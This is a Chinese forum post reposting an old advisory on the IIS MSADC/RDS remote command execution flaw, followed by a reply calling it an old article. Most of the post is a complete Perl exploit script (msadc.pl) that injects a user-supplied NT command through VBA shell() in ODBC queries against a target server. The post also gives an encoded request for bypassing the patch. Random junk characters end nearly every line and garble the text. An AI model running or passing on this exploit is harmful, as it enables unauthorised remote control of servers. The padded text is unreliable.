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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) xi51,y+(5  
Brts ig,4  
涉及程序: qk~m\U8r  
Microsoft NT server nb<e<>L  
/#WvC;B  
描述: VV;%q3}:  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 C.BlB  
6r|=^3{  
详细: yk y% +@2q  
如果你没有时间读详细内容的话,就删除: #M%K82"  
c:\Program Files\Common Files\System\Msadc\msadcs.dll oXjoQ  
有关的安全问题就没有了。 }* \*<d 3  
Ptz## o'{5  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 mC0_rN^Aj  
Fw\g\  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 @U3:9~Q  
关于利用ODBC远程漏洞的描述,请参看: ph}%Ay$  
zuu<;^/R  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm U9ZuD40\  
l A%FS]vh  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 7Db}bDU1 |  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ollsB3]]  
c/Fgx/hr  
这里不再论述。 0 N"N$f  
'hE'h?-7  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: nY7gST  
Bn9#F#F<  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Q 0G5<:wc  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Y[l<fbh(}  
g<@Q)p*ow  
=z;]FauR!  
#将下面这段保存为txt文件,然后: "perl -x 文件名" nK32or3  
[GPCd@  
#!perl R# T 6]  
# J5(0J7C  
# MSADC/RDS 'usage' (aka exploit) script [UXN= 76N  
# hxzA1s%~  
# by rain.forest.puppy _p>F43%p  
# _RzF h  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me %3O))Ug5  
# beta test and find errors! -#v1/L/=  
?JG^GD7D  
use Socket; use Getopt::Std; YA@MLZm  
getopts("e:vd:h:XR", \%args); Jz=|-F(Sy  
N8pV[\f  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; S)g:+P  
{nXygg J  
if (!defined $args{h} && !defined $args{R}) { jQxhR  
print qq~ HCsd$M;Hbv  
Usage: msadc.pl -h <host> { -d <delay> -X -v } <#J5.I 1  
-h <host> = host you want to scan (ip or domain) ;DSH$'1i  
-d <seconds> = delay between calls, default 1 second y=c={Qz@vn  
-X = dump Index Server path table, if available `LNhamp  
-v = verbose QyxUK}6mr  
-e = external dictionary file for step 5 mogmr  
7*j!ZUzp  
Or a -R will resume a command session :_y!p  
>s 6ye  
~; exit;} ~;?<OOt|wG  
(8aj`> y  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; S.4+tf 7+  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} &&m3E=K!^  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} gyD;kn\CP  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); -$?t+ "/E  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ]+46r!r|  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 5VP0Xa ~  
=w}JAEE|(i  
if (!defined $args{R}){ $ret = &has_msadc; 1cv~_jFh  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ^~I@]5Pq  
l 9 wO x  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" $&&E[JY  
. "cmd /c "; 5?F5xiW  
$in=<STDIN>; chomp $in; 'UUj(1 f  
$command="cmd /c " . $in ; @J&korU  
}^iqhUvT F  
if (defined $args{R}) {&load; exit;} .=9WY_@SZ  
$:%E<j 4Dn  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; =qc+sMo  
&try_btcustmr; w6Nn x5Ay  
yw$4Hlj5  
print "\nStep 2: Trying to make our own DSN..."; (T0MWp0  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; );':aX j  
DrKB;6  
print "\nStep 3: Trying known DSNs..."; }rI:pp^KS  
&known_dsn; &}[P{53sr  
ghWWJx9  
print "\nStep 4: Trying known .mdbs..."; RSe4 lw  
&known_mdb; ZaU8eg7  
BaW4 s4u  
if (defined $args{e}){ ')!X1A{  
print "\nStep 5: Trying dictionary of DSN names..."; @U18Dj[  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } A $gn{ c  
F'b%D  
print "Sorry Charley...maybe next time?\n"; w+>+hq  
exit; e ~'lWJD  
l>}f{az-T  
############################################################################## R8k4?_W?T  
S@qR~_>a  
sub sendraw { # ripped and modded from whisker Mn(iAsg  
sleep($delay); # it's a DoS on the server! At least on mine... 7n6g;8xE  
my ($pstr)=@_; v8*)^-Fx  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || =K18|Q0m  
die("Socket problems\n"); KF00=HE|]  
if(connect(S,pack "SnA4x8",2,80,$target)){ N"G aQ  
select(S); $|=1; q9_ $&9  
print $pstr; my @in=<S>; <kdlXS>J.  
select(STDOUT); close(S); 4_kN';a4Q  
return @in; :${tts2g  
} else { die("Can't connect...\n"); }} X8Q'*  
X)[tb]U/Wx  
############################################################################## 3{$7tck,  
D<;~eZ'  
sub make_header { # make the HTTP request 8^>c_%e}  
my $msadc=<<EOT #dj?^n g  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ~_vSMX  
User-Agent: ACTIVEDATA R,G*]/r`  
Host: $ip Os@b8V 8,A  
Content-Length: $clen  >Ua'*  
Connection: Keep-Alive Y@0'0   
[&n[p?  
ADCClientVersion:01.06 "0PrdZMx  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3  ~2"hh$  
qK a}O*  
--!ADM!ROX!YOUR!WORLD! ^;RK-)  
Content-Type: application/x-varg _ \6v@  
Content-Length: $reqlen t`"m@  
Dz: +. @k  
EOT CpO_p%P  
; $msadc=~s/\n/\r\n/g; 9pqsr~  
return $msadc;} 3&+dyhL'w  
;"Kgg:K>W  
############################################################################## >\ Dy  
\;)g<TwL  
sub make_req { # make the RDS request H\R a*EO~j  
my ($switch, $p1, $p2)=@_; t1adS:)s  
my $req=""; my $t1, $t2, $query, $dsn; x3=1/#9  
y|}~"^+T  
if ($switch==1){ # this is the btcustmr.mdb query YpDJ(61+  
$query="Select * from Customers where City=" . make_shell(); G kjfDY:  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 2+gbMd4n  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} cRVL1ne  
K:a8}w>Up  
elsif ($switch==2){ # this is general make table query jr4xh {Z`  
$query="create table AZZ (B int, C varchar(10))"; ?eIb7O  
$dsn="$p1";} v.Ba  
Io]FDPN  
elsif ($switch==3){ # this is general exploit table query ~\_VWXXvIW  
$query="select * from AZZ where C=" . make_shell(); [CI&4) #  
$dsn="$p1";} J:m/s9r  
f+^6.%  
elsif ($switch==4){ # attempt to hork file info from index server OoSk^U)  
$query="select path from scope()"; 8%7%[WC#  
$dsn="Provider=MSIDXS;";} KS$t  
ST*h{:u&A  
elsif ($switch==5){ # bad query !4vb{AH  
$query="select"; Tn}`VW~  
$dsn="$p1";} }=^ ,c  
9GD0jJEu  
$t1= make_unicode($query); xm{]|~^JG  
$t2= make_unicode($dsn); D~6[C:m  
$req = "\x02\x00\x03\x00"; =Z^5'h~  
$req.= "\x08\x00" . pack ("S1", length($t1)); -F~DOG%  
$req.= "\x00\x00" . $t1 ; %#x4wi  
$req.= "\x08\x00" . pack ("S1", length($t2)); *,\"}x*  
$req.= "\x00\x00" . $t2 ; LTWkHy x  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; !DZ=`a?y  
return $req;} 1INX#qTZ  
=Zq6iMD  
############################################################################## &kg^g%%  
qVn<c,8#  
sub make_shell { # this makes the shell() statement Sa= tiOv  
return "'|shell(\"$command\")|'";} ~Ru\Z-q1  
G(&[1V%x  
############################################################################## Qg*\aa94  
S<i$0p8J;  
sub make_unicode { # quick little function to convert to unicode PM\Ju]  
my ($in)=@_; my $out; ra$:ibLN  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } W{}$c`,R  
return $out;} <~ smBd  
(9]Uuvfp6"  
############################################################################## d&#_t@%  
+:FXtO>n"  
sub rdo_success { # checks for RDO return success (this is kludge) ku]5sd >b  
my (@in) = @_; my $base=content_start(@in); GE/!$3  
if($in[$base]=~/multipart\/mixed/){ ~:a1ELqVw  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} z#tIa  
return 0;} y]j.PT`Cw  
*)Rm X$v3  
############################################################################## )eyzHB,H  
*dBeb  
sub make_dsn { # this makes a DSN for us  Unk/uk  
my @drives=("c","d","e","f"); F9r.DG$}  
print "\nMaking DSN: "; /Q1*Vh4  
foreach $drive (@drives) { P(D>4/f3"  
print "$drive: "; NHd@s#@  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .  T~[:oil  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" s@\3|e5g  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); tdm7MPM  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; "V|Rq]_+%  
return 0 if $2 eq "404"; # not found/doesn't exist C >*z^6Gz  
if($2 eq "200") { l/N<'T_G  
foreach $line (@results) { Q0xO;20  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} uavATnGO{B  
} return 0;} N<)CG,/w[M  
yYCS-rF>  
############################################################################## Vebv!  
"DW~E\Y  
sub verify_exists { !nBbt?*  
my ($page)=@_; %SmOP sz  
my @results=sendraw("GET $page HTTP/1.0\n\n"); z=D5*  
return $results[0];} C>Ik ;  
WyO*8b_ D  
############################################################################## =6sP`:  
[DaAvN^0A  
sub try_btcustmr { Yk Ku4f  
my @drives=("c","d","e","f"); #w{`6}p  
my @dirs=("winnt","winnt35","winnt351","win","windows"); #/G!nN #  
n`5Nf  
foreach $dir (@dirs) { uKJ:)oyaCP  
print "$dir -> "; # fun status so you can see progress S@qPf0dL<  
foreach $drive (@drives) { i 8sv,P  
print "$drive: "; # ditto aq?bI:>8  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; G@7^M}  
$reqlenlen=length( "$reqlen" ); bQaRl=:[:  
$clen= 206 + $reqlenlen + $reqlen; i2qN 0?n  
q%3VcR$J  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); IL@yGuO,  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} .eJKIck  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Thggas,  
7U [C=NL  
############################################################################## M^kaik  
$JFjR@j  
sub odbc_error { =D(a~8&,  
my (@in)=@_; my $base; ufL,K q4  
my $base = content_start(@in); ]j&m\'-s  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this q`e0%^U  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,+i^]yF3j  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; | R,dsBd  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ab$E@H #  
return $in[$base+4].$in[$base+5].$in[$base+6];}  ^*P?gG  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; fk}Raej g  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . c^|8qvS $  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} +Nn >*sz  
:DH@zR  
############################################################################## X_PzK'#m  
HYl+xH'.j  
sub verbose { O@$>'Z  
my ($in)=@_; K'&,]r#  
return if !$verbose; :V9Q<B^  
print STDOUT "\n$in\n";} 8r( Vz  
SqAz((  
############################################################################## JQ+Mg&&Q  
Trirb'qO  
sub save { HS=w9:,  
my ($p1, $p2, $p3, $p4)=@_; \KV.lG!  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; &OU.BR >  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; }w f8y  
close OUT;} U`*we43  
I]ej ]46K  
############################################################################## h#zm+([B*  
m0G"Aj  
sub load { )=)N9CRy  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; :lu!%p<$  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); X0*+]tRg  
@p=<IN>; close(IN); H [+'>Id:  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Kj0)/Fjl+  
$target= inet_aton($ip) || die("inet_aton problems"); c<1$ zQY!  
print "Resuming to $ip ..."; 1^k}GXsWmE  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; RrLiH>  
if($p[1]==1) { :$Cm]RZ  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 9No6\{[M  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; +HE,Q6-A  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); rT="ciQ  
if (rdo_success(@results)){print "Success!\n";} !d##q)D f?  
else { print "failed\n"; verbose(odbc_error(@results));}} R/{h4/+vJ  
elsif ($p[1]==3){ x.gzsd  
if(run_query("$p[3]")){ I85wP}c(  
print "Success!\n";} else { print "failed\n"; }} XzAXcxC6G  
elsif ($p[1]==4){ $ (&uaDYv  
if(run_query($drvst . "$p[3]")){ ^(Gl$GC$Mu  
print "Success!\n"; } else { print "failed\n"; }} ygTfQtN  
exit;} ]FR#ZvM>x  
!UzE&CirV  
############################################################################## py$Gy-I~[  
`y'%dY}$n  
sub create_table { 0o/;cBH  
my ($in)=@_; o=VZ7]  
$reqlen=length( make_req(2,$in,"") ) - 28; F]OWqUV  
$reqlenlen=length( "$reqlen" ); T #E{d  
$clen= 206 + $reqlenlen + $reqlen; eI|FrBq%  
my @results=sendraw(make_header() . make_req(2,$in,"")); X'd\b}Bm  
return 1 if rdo_success(@results); KMT$/I{p,  
my $temp= odbc_error(@results); verbose($temp); s\.r3U&6  
return 1 if $temp=~/Table 'AZZ' already exists/; ,>6mc=p  
return 0;} c'$y_]  
:MDFTw~|  
############################################################################## w[2E:Nj  
6@Q; LV+  
sub known_dsn { b?k,_; \  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go P w6l'  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Fkv284,LM  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", QP%AJ[3ea%  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); @>`N%wH'  
 ^Oj^7.T+  
foreach $dSn (@dsns) { ZrYRLg  
print "."; 1xxTI{'g[  
next if (!is_access("DSN=$dSn")); aV f sF|,  
if(create_table("DSN=$dSn")){ xqT} 9,  
print "$dSn successful\n"; 9 'X"a  
if(run_query("DSN=$dSn")){ x+sSmW  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { *`s*l+0b  
print "Something's borked. Use verbose next time\n";}}} print "\n";} B <Jxj  
_576Qa'rm  
############################################################################## yFo8 x[  
i&HU7mP/  
sub is_access { :hHKm|1FE  
my ($in)=@_; '<"%>-^Gn  
$reqlen=length( make_req(5,$in,"") ) - 28; z'Bvjul  
$reqlenlen=length( "$reqlen" ); n~,6!S  
$clen= 206 + $reqlenlen + $reqlen; y]Q/(O  
my @results=sendraw(make_header() . make_req(5,$in,"")); jp-(n z\  
my $temp= odbc_error(@results); c3fd6Je5  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); p E1uD4lLb  
return 0;} vSQB~Vw8 t  
7x*L 1>[`'  
############################################################################## dn5t7D^ x  
MNfc1I_#  
sub run_query { m=`V  
my ($in)=@_; wC1) \ld  
$reqlen=length( make_req(3,$in,"") ) - 28; ,[n=PJVw/  
$reqlenlen=length( "$reqlen" ); 7CT446  
$clen= 206 + $reqlenlen + $reqlen; *E@as  
my @results=sendraw(make_header() . make_req(3,$in,"")); _=w=!U&W  
return 1 if rdo_success(@results); c:DV8'fT  
my $temp= odbc_error(@results); verbose($temp); N,)rrBD  
return 0;} ZA4sEVHW  
BQMo*I>I  
############################################################################## LNgFk%EH  
qE^u{S4Z@  
sub known_mdb { 2J(,Xf  
my @drives=("c","d","e","f","g"); Ze`ms96j{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ?AQR\)P  
my $dir, $drive, $mdb; voN,u>U  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; O|;|7fCB\  
:2L-Nf  
# this is sparse, because I don't know of many e ~G IUwJ  
my @sysmdbs=( "\\catroot\\icatalog.mdb", P+p:Ed 80  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", QswFISch  
"\\system32\\certmdb.mdb", o`jVd,aj  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% BBoVn^Z*R  
e<{Ani0  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 9@(V!G  
"\\cfusion\\cfapps\\forums\\forums_.mdb", pr"q-S>E  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", c"'JMq  
"\\cfusion\\cfapps\\security\\realm_.mdb", GQkI7C  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", EU7mP MxJ  
"\\cfusion\\database\\cfexamples.mdb", ]T<RC\o  
"\\cfusion\\database\\cfsnippets.mdb", Yv;iduc('  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", v~O2y>8Z  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", [MM`#!K%  
"\\cfusion\\brighttiger\\database\\cleam.mdb", S#D6mg$Z,  
"\\cfusion\\database\\smpolicy.mdb", _'r&'s;<z  
"\\cfusion\\database\cypress.mdb", {NIE:MXX  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", LZpqv~av  
"\\website\\cgi-win\\dbsample.mdb", J16(d+  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 'k$j^ |r>  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" _nW#Cl~  
); #these are just &C E){jC  
foreach $drive (@drives) { W GMEZx  
foreach $dir (@dirs){ ,3ivB8  
foreach $mdb (@sysmdbs) { nrZZkQNI  
print "."; c(S66lp  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ "Kn%|\YL@4  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; wtro'r3  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ oGZ%w4T  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; /`B:F5r  
} else { print "Something's borked. Use verbose next time\n"; }}}}} SxRa?5  
.{#J2}+[_}  
foreach $drive (@drives) { &qFy$`"  
foreach $mdb (@mdbs) { t'Pn*  
print "."; Bt-2S,c,o  
if(create_table($drv . $drive . $dir . $mdb)){ *1b)Va8v*  
print "\n" . $drive . $dir . $mdb . " successful\n"; )1 !*N)$  
if(run_query($drv . $drive . $dir . $mdb)){ [,ns/*f3R  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ^5*9BwH`  
} else { print "Something's borked. Use verbose next time\n"; }}}} h.h\)>DM@  
} dX~$#-Ad86  
U> 1voc  
############################################################################## sq'bo8r  
KP]{=~(  
sub hork_idx { ],ISWb  
print "\nAttempting to dump Index Server tables...\n"; }EWPLJA  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; -]~vE fq+T  
$reqlen=length( make_req(4,"","") ) - 28; 0)-yLfTn  
$reqlenlen=length( "$reqlen" ); m&8'O\$  
$clen= 206 + $reqlenlen + $reqlen; r(cd?sL96R  
my @results=sendraw2(make_header() . make_req(4,"","")); (\NZ)Ys  
if (rdo_success(@results)){ 9TbRrS09  
my $max=@results; my $c; my %d; t5WW3$Nf  
for($c=19; $c<$max; $c++){ ;JQ;LbEn  
$results[$c]=~s/\x00//g; p{4nWeH?B  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; UB1/0o  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; s:\FlQ0  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ;sn]Blpq  
$d{"$1$2"}="";} u IGeSd5B  
foreach $c (keys %d){ print "$c\n"; } \$[S=&E  
} else {print "Index server doesn't seem to be installed.\n"; }} W~FM^xR?p  
EG[Rda  
############################################################################## g O ;oM?|  
&C=[D_h  
sub dsn_dict { ]728x["(19  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); +&h<:/ V  
while(<IN>){ ;/g Bjp]H  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; aoVfvz2Y  
next if (!is_access("DSN=$dSn")); W #kOcw  
if(create_table("DSN=$dSn")){ JQ)w/@Vu=  
print "$dSn successful\n"; ?B~S4:9  
if(run_query("DSN=$dSn")){ kls 6Dk#  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &!5S'J %  
print "Something's borked. Use verbose next time\n";}}} w4e(p3  
print "\n"; close(IN);} Wc qUF"A  
+:?"P<'  
############################################################################## wz=c#}0dB  
~*Kk+w9H<  
sub sendraw2 { # ripped and modded from whisker ii :E>O(0B  
sleep($delay); # it's a DoS on the server! At least on mine... G :JQ_w  
my ($pstr)=@_; U}2b{  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ny{Yr>:2  
die("Socket problems\n"); XIJW$CY  
if(connect(S,pack "SnA4x8",2,80,$target)){ U^.kp#x#  
print "Connected. Getting data"; (TJ )Y7E  
open(OUT,">raw.out"); my @in; Xe7/  
select(S); $|=1; print $pstr; eQqx0+-0c  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} #.^A5`k  
close(OUT); select(STDOUT); close(S); return @in; (!B1} 5"  
} else { die("Can't connect...\n"); }} )UgLs|G~  
yO`HL'SMo  
############################################################################## C=>IJ'G  
*kE<7  
sub content_start { # this will take in the server headers tlJ@@v&=  
my (@in)=@_; my $c; q71~Y:7f  
for ($c=1;$c<500;$c++) { L6=`x a,  
if($in[$c] =~/^\x0d\x0a/){ lOuO~`,J  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } `8sC>)lrwu  
else { return $c+1; }}} 70BLd(?  
return -1;} # it should never get here actually 'Wz`P#/  
e;G}T%W  
############################################################################## 1 ms(03dp  
qRnD{g|{1  
sub funky { gJC~$/2  
my (@in)=@_; my $error=odbc_error(@in); "|KhqV=?v  
if($error=~/ADO could not find the specified provider/){ zIT)Hs5  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; }lP'bu  
exit;} J70r`   
if($error=~/A Handler is required/){ C_ 4(- OWq  
print "\nServer has custom handler filters (they most likely are patched)\n"; }s++^uX6  
exit;} 9 m`VIB  
if($error=~/specified Handler has denied Access/){ Z]\VOA>  
print "\nServer has custom handler filters (they most likely are patched)\n"; &kp`1kv":  
exit;}} Q^! x8oUF  
l}MVk%[  
############################################################################## 8%Eau wAx  
#<*=)[  
sub has_msadc { 'YTSakNJ}  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); QRKr2:o{  
my $base=content_start(@results); D@ 4sq^|2  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 3F ]30  
return 0;} x=%wP VJ  
DO{Lj# @  
######################## !/RL.`!>  
_my!YS5n  
tR`^c8gD  
解决方案: @D@_PA)e(  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll V+Y;  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 'M!*Ge  
'?)<e^  
拿出来充数 哈哈
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